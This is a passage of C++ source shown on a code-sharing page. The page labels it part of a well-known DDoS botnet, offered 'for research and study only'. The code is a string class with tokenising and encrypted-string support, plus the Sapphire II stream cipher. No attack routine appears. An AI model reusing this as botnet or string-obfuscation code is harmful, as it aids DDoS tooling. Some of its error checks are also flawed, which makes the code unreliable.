cstring.cpp.svn-base
来自「很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习」· SVN-BASE 代码 · 共 461 行 · 第 1/2 页
SVN-BASE
461 行
if(!szDelim) return CString("");
try {
if(m_bIsCryptStr) return Decrypt().Token(iNum, szDelim, bUseQuotes);
szStrCopy=new char[strlen(m_szString)+2];
memset(szStrCopy, 0, strlen(m_szString)+2);
strncpy(szStrCopy, m_szString, strlen(m_szString)+1);
} catch(...) {
return CString("");
}
//! Compute MD5 of input token
md5::MD5_CTX md5; md5::MD5Init(&md5); unsigned char szMD5[16];
md5::MD5Update(&md5, (unsigned char*)szStrCopy, strlen(szStrCopy));
md5::MD5Final(szMD5, &md5);
g_mMutex.Lock();
for(i=0; i<128; i++) {
token_data *pData=&g_tData[i]; if(!pData->szDelim) continue;
if( !memcmp(pData->szMD5, szMD5, sizeof(pData->szMD5)) &&
!memcmp(pData->szDelim, szDelim, strlen(szDelim))) {
g_mMutex.Unlock();
try {
if(iNum>pData->vTokens.size()) return CString("");
return pData->vTokens.at(iNum);
#ifdef _WIN32
} catch(out_of_range) {
#else
} catch(...) {
#endif // _WIN32
return CString("");
};
}
}
iCacheIndex++; if(iCacheIndex>=128) iCacheIndex=0;
memcpy(g_tData[iCacheIndex].szMD5, szMD5, sizeof(szMD5));
g_tData[iCacheIndex].vTokens.clear();
//! Copy the string
if(g_tData[iCacheIndex].szString) delete [] g_tData[iCacheIndex].szString;
if(g_tData[iCacheIndex].szDelim) delete [] g_tData[iCacheIndex].szDelim;
g_tData[iCacheIndex].szString=szStrCopy;
g_tData[iCacheIndex].szDelim=new char[strlen(szDelim)+2];
memset(g_tData[iCacheIndex].szDelim, 0, strlen(szDelim)+2);
strcpy(g_tData[iCacheIndex].szDelim, szDelim);
char *szText=g_tData[iCacheIndex].szString;
bool bInQuotes=false; while(*szText)
{ while(*szText==szDelim[0]) szText++; // skip leading whitespace
bInQuotes=(*szText=='\"'); // see if this token is quoted
if(bInQuotes) szText++; // skip leading quote
g_tData[iCacheIndex].vTokens.push_back(szText); // store position of current token
if(bInQuotes)
{ // find next quote followed by a space or terminator
while(*szText&&*szText!='\"') szText++;
if(*szText)
{ *szText='\0'; if(szText[1]) szText+=2; }
}
else // !bInQuotes
{ // skip to next non-whitespace/delimiter character
while(*szText&&*szText!=szDelim[0]) szText++;
if(*szText&&*szText==szDelim[0])
{ *szText='\0'; szText++; }
}
} // while(*szText)
if(iNum>=g_tData[iCacheIndex].vTokens.size()) {
g_mMutex.Unlock(); return CString(""); }
g_mMutex.Unlock(); return CString(g_tData[iCacheIndex].vTokens.at(iNum)); }
CString CString::Token(int iNum, const char *szDelim) { return Token(iNum, szDelim, false); }
void CString::operator=(const CString &sStr) { Assign(sStr); }
void CString::operator=(const char *szStr) { Assign(szStr); }
char &CString::operator[](int iPos)
{ if(m_bIsCryptStr) return Decrypt().operator[](iPos);
return m_szString[iPos]; }
const char &CString::operator[](int iPos) const
{ if(m_bIsCryptStr) return Decrypt().operator[](iPos);
return m_szString[iPos]; }
CString::operator const char *() const {
return CStr(); }
CString::operator char *() {
return Str(); }
const char *CString::CStr() const
{ return (const char *)m_szString; }
const char *CString::CStr()
{ if(m_bIsCryptStr)
{ if(m_szTemp) delete [] m_szTemp; m_szTemp=NULL;
CString sDecrypt=Decrypt(); m_szTemp=new char[sDecrypt.GetLength()+1];
if(!m_szTemp) return NULL; strcpy(m_szTemp, sDecrypt.CStr());
return (const char *)m_szTemp; }
return (const char *)m_szString; }
char *CString::Str()
{ if(m_bIsCryptStr)
{ if(!m_szTemp) delete [] m_szTemp; m_szTemp=NULL;
CString sDecrypt=Decrypt(); m_szTemp=new char[sDecrypt.GetLength()+1];
if(!m_szTemp) return NULL; strcpy(m_szTemp, sDecrypt.CStr());
return m_szTemp; }
return m_szString; }
//////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////
//// Sapphire implementation starts here
//////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////
/*
from sapphire.cpp -- the Saphire II stream cipher class.
Dedicated to the Public Domain the author and inventor:
(Michael Paul Johnson). This code comes with no warranty.
Use it at your own risk.
*/
unsigned char CSapphire::keyrand(int limit, unsigned char *user_key, unsigned char keysize,
unsigned char *rsum, unsigned *keypos) {
unsigned u, // Value from 0 to limit to return.
retry_limiter=0, // No infinite loops allowed.
mask=1; // Select just enough bits.
while(mask<limit) // the desired range.
mask=(mask<<1)+1;
do {
*rsum=cards[*rsum]+user_key[(*keypos)++];
if(*keypos>=keysize) {
*keypos=0; // Recycle the user key.
*rsum+=keysize; // key "aaaa" != key "aaaaaaaa"
}
u=mask&*rsum;
if(++retry_limiter>11)
u%=limit; // Prevent very rare long loops.
} while(u>limit);
return u; }
void CSapphire::initialize(unsigned char *key, unsigned char keysize) {
// Key size may be up to 256 bytes.
// Pass phrases may be used directly, with longer length
// compensating for the low entropy expected in such keys.
// Alternatively, shorter keys hashed from a pass phrase or
// generated randomly may be used. For random keys, lengths
// of from 4 to 16 bytes are recommended, depending on how
// secure you want this to be.
int i; unsigned char toswap, swaptemp, rsum; unsigned keypos;
// If we have been given no key, assume the default hash setup.
if(keysize<1) { hash_init(); return; }
// Start with cards all in order, one of each.
for(i=0;i<256;i++) cards[i]=i;
// Swap the card at each position with some other card.
toswap=0; keypos=0; rsum=0; // Start with first byte of user key.
for(i=255;i>=0;i--) {
toswap=keyrand(i, key, keysize, &rsum, &keypos);
swaptemp=cards[i]; cards[i]=cards[toswap]; cards[toswap]=swaptemp; }
// Initialize the indices and data dependencies.
// Indices are set to different values instead of all 0
// to reduce what is known about the state of the cards
// when the first byte is emitted.
rotor=cards[1]; ratchet=cards[3]; avalanche=cards[5];
last_plain=cards[7]; last_cipher=cards[rsum];
toswap=swaptemp=rsum=0; keypos=0; }
void CSapphire::hash_init(void) {
// This function is used to initialize non-keyed hash computation.
// Initialize the indices and data dependencies.
rotor=1; ratchet=3; avalanche=5; last_plain=7; last_cipher=11;
// Start with cards all in inverse order.
for(int i=0,j=255;i<256;i++,j--) cards[i]=(unsigned char)j; }
CSapphire::CSapphire(unsigned char *key, unsigned char keysize) {
if(key&&keysize) initialize(key, keysize); }
void CSapphire::burn(void) {
// Destroy the key and state information in RAM.
memset(cards, 0, 256); rotor=ratchet=avalanche=last_plain=last_cipher=0; }
CSapphire::~CSapphire() { burn(); }
unsigned char CSapphire::encrypt(unsigned char b) {
// Picture a single enigma rotor with 256 positions, rewired
// on the fly by card-shuffling.
// This cipher is a variant of one invented and written
// by Michael Paul Johnson in November, 1993.
unsigned char swaptemp;
// Shuffle the deck a little more.
ratchet+=cards[rotor++]; swaptemp=cards[last_cipher]; cards[last_cipher]=cards[ratchet];
cards[ratchet]=cards[last_plain]; cards[last_plain]=cards[rotor]; cards[rotor]=swaptemp;
avalanche+=cards[swaptemp];
// Output one byte from the state in such a way as to make it
// very hard to figure out which one you are looking at.
last_cipher=b^cards[(cards[ratchet]+cards[rotor])&0xFF]^
cards[cards[(cards[last_plain]+cards[last_cipher]+cards[avalanche])&0xFF]];
last_plain=b; return last_cipher; }
unsigned char CSapphire::decrypt(unsigned char b) {
unsigned char swaptemp;
// Shuffle the deck a little more.
ratchet+=cards[rotor++]; swaptemp=cards[last_cipher]; cards[last_cipher]=cards[ratchet];
cards[ratchet]=cards[last_plain]; cards[last_plain]=cards[rotor]; cards[rotor]=swaptemp;
avalanche+=cards[swaptemp];
// Output one byte from the state in such a way as to make it
// very hard to figure out which one you are looking at.
last_plain=b^cards[(cards[ratchet]+cards[rotor])&0xFF]^
cards[cards[(cards[last_plain]+cards[last_cipher]+cards[avalanche])&0xFF]];
last_cipher=b; return last_plain; }
void CSapphire::hash_final(unsigned char *hash, unsigned char hashlength) {
int i; for(i=255;i>=0;i--) encrypt((unsigned char)i);
for(i=0;i<hashlength;i++) hash[i]=encrypt(0); }
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?